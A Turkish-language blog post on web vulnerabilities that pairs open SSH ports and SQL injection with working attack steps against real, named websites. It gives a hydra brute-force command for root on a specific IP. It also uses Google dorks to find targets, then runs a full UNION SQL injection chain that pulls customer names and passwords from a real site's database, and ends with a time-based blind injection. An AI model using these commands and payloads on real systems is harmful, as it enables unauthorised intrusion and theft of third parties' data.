ZAAFİYET: Open Ports

Serverlarda ihtiyaç dışındaki portlar mutlaka kapatılmalı. Örnek için kullandığımız http://www.yeniakit.com.tr ve http://tug.tug.tubitak.gov.tr sitelerinde SSH portu ve birçok port açıktır. Oysa bu sunucular web server olduğu için HTTP/HTTPS ve kullanımına göre FTP portu dışındaki portların açık olmasına gerek yoktur.

SALDIRI: SSH portu üzerinden Brute Force saldırısı ile sunucuya sızılabilir. Brute Force saldırılarını anlattığım yazıda, wordlist kullanarak veya tüm karakterleri deneme yoluyla, iki farklı tarzda saldırı yapıldığını belirtmiştim. Türkçe başarılı wordlistler olmadığı için tüm karakterleri deneme yoluyla root kullanıcısının şifresi mutlaka kırılır. Örnek olarak hydra ile

hydra -t 25 -V -f -l root -x 5:8:aA1.*-_@$#&% 31.210.158.10 ssh 

şeklinde brute force saldırısı başlatabiliriz. Aynı anda 25 threadden root kullanıcısı için şifre denemesi yapıyoruz. -V ile deneme sonuçları ekranda görüntüleniyor. -f ile şifre bulunduğunda saldırı sonlandırılıyor. -x ile şifre denemesinde kullanacağımız karakter setini belirliyoruz. Şifre olarak denenecek textlerinin minimum ve maksimum uzunluklarını (5:8) belirtiyoruz. Şifre denemelerinde a = a-z arası küçük harfler, A = A-Z arası büyük harfler, 1 = 0-9 arası sayılar ve .*-_@$#&% karakterlerinin 5,6,7,8 karakterli kombinasyonları kullanılmaktadır. http://www.yeniakit.com.tr için sonuç:

365.579.673.253.347 ihtimal söz konusu 🙂

ZAAFİYET: SQL Injection

ORM kullanımının yaygınlaşması ile gittikçe azalan bir zaafiyettir. Veritabanına sorgu gönderilen noktalarda, açık query ifadelerinin kullanılması istismar edilir. İlk adım olarak SQL injection zaafiyetinin varlığı tespit edilir. Bunun için, URL’lerde kullanılan Query String parametrelerinden faydalanılır.

SALDIRI: SQL Injection açığı olan siteleri bulmak için Google’da inurl:.php?ID= şeklinde arama yapabiliriz. ID, Query String parametre isimlendirmelerinde sık kullanılan bir isim. Bu sorgulama ile Google, URL’inde ID parametresi olan PHP sitelerini listeleyecektir:

Listedeki ilk linki tıklayalım. http://www.calidus.ro/en/news.php?id=2 URL’inin sonuna ()  işareti ekleyerek, siteye requestte bulunalım. Söz dizimi(Syntax) hatası verecektir.

Bu hata, sitenin SQL Injection’a açık olduğunu gösteriyor. Query String parametresi üzerinden, veritabanına(MySQL) istediğimiz sorguyu gönderebiliriz. Gönderdiğimiz sorgunun sonuçlarını sayfada görüntüleyebilmek için sayfadaki kontrollere erişmemiz gerekiyor. Bunun için siteye http://www.calidus.ro/en/news.php?id=2 order by 5– şeklinde request gönderiyoruz. Sayfa aşağıdaki hatayı verecektir:

Siteye, URL’in sonuna order by 4 ekleyerek requestte bulunduğumuzda ise sayfa yüklenecektir. Buradan, tablonun 4 column’dan oluştuğunu anlıyoruz. Union exploit tekniği ile sayfada, bilgi yazdırabileceğimiz kontrollere ulaşıyoruz. Siteye http://www.calidus.ro/en/news.php?id=null union all select 1,2,3,4–  şeklinde request gönderiyoruz. Hangi column’daki bilgi hangi kontrole yazılıyor görüntülenecektir:

URL’in sonundaki “–” ifadesi sorguda, “id=2″den sonra olması muhtemel sıralama, gruplama, join gibi işlemleri commentlemek içindir. 2 ve 4 numaralı column’ların bilgilerinin yazıldığı kontrollerde, veritabanında çalıştıracağımız sorguların sonuçlarını görüntüleyebiliriz. Örnek olarak, siteye http://www.calidus.ro/en/news.php?id=null union all select 1,@@version,3,4– şeklinde requestte bulunduğunuzda, 2 numaralı column’un bilgisinin yazıldığı kontrolde, veritabanının versiyon bilgisi görüntülenecektir. Yine @@version yerine, sorguya user(), database() gibi fonksiyonları eklersek, veritabanının veya login olunan kullanıcının adını öğrenebiliriz. Siteye http://www.calidus.ro/en/news.php?id=null union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()– şeklinde requestte bulunursak, veritabanındaki bütün tablo isimleri birleştirilerek, 2 numaralı kontrole yazılacaktır. Elde ettiğimiz tablo isimlerine baktığımızda customers tablosunu görüyoruz. Eğer bu tablonun kolon isimlerini elde edebilersek, bütün müşteri bilgilerini alabiliriz.  Siteye http://www.calidus.ro/en/news.php?id=null union all select 1, group_concat(column_name),3,4 from information_schema.columns where table_schema=database()– şeklinde requestte bulunursak kolon isimleri listelenecektir. Mantıksal çıkarımlar ile tablo ve kolon adlarını eşleştiriyoruz. Siteye, http://calidus.ro/en/news.php?id=null union all select 1, unhex(hex(group_concat(cust_firstname,0x3a,cust_lastname,0x3a,cust_password))),3,4 from customers şeklinde request gönderdiğimizde customer tablosunun içeriğine erişebiliyoruz. Aşağıda cust_firstname, cust_lastname, cust_password bilgileri yer almaktadır:

Sorgudaki unhex(hex()) fonksiyonunu “Query failed: Illegal mix of collations for operation ‘UNION’” hatasını bypass etmek için kullanıyoruz. 0x3a ise kolonlardaki bilgiler arasına “:” koymak içindir. Bu sitede tablolar aktif olarak kullanılmamış. SQL Injection açıkları daha çok, yönetim panellerinin ele geçirilip, server’a shell yüklenmesi için kullanılmaktadır.

Şimdi bir de SQL Server tarafına bakalım. Google’da inurl:.asp?id= araması yapalım. Listelenen ilk site http://ww5.funcab.org/inicial.asp?id=270. Yukarıdaki gibi URL’e (‘) ekleyerek SQL Injection suistimal kontrolü yapıyoruz. Site SQL Injection’a açık:

Acces veritabanı tarafına baktığımızda syntax hatası aşağıdaki gibidir:

Ülkemizde geliştirilen uygulamalarda, SQL Injection açığı olacak şekilde geliştirilse de, injection zaafiyetinden çok runtime hata ekranı ile karşılaşıyoruz. Query String, parametreleri doğrudan convert edilmeye çalışıldığı için injection kontrolü yaptığınızda runtime hata mesajı ile karşılaşılmaktadır:

SQL Injection zaafiyeti tespit denemesinde, sitenin hata mesajı vermemesi, injection zaaafiyeti olmadığı anlamına gelmemektedir. Herhangi bir hata mesajı dönülmese de, injection zaafiyeti olabilir ve bu zaafiyet tespit edilebilir. Örnek olarak http://ww5.funcab.org/inicial.asp?id=270;WAITFOR DELAY ‘0:0:10’– şeklinde requestte bulunursak sayfa 10 saniye bekledikten sonra açılacaktır. Bu tür hata mesajı almayan, herhangi bir custom hata sayfasına yönlendirme de yapmadan SQL kodunu çalıştıran injection açıklarına, Blind SQL Injection deniliyor.

Aşağıdaki siteden, her tür veritabanı ile ilgili  SQL Injection zaafiyetleri örneklerine bakabilirsiniz.

http://www.sqlinjectionwiki.com/Default.aspx

Daha yaygın zaafiyet ve saldırı yöntemleri ile devam edeceğiz.

Reklamlar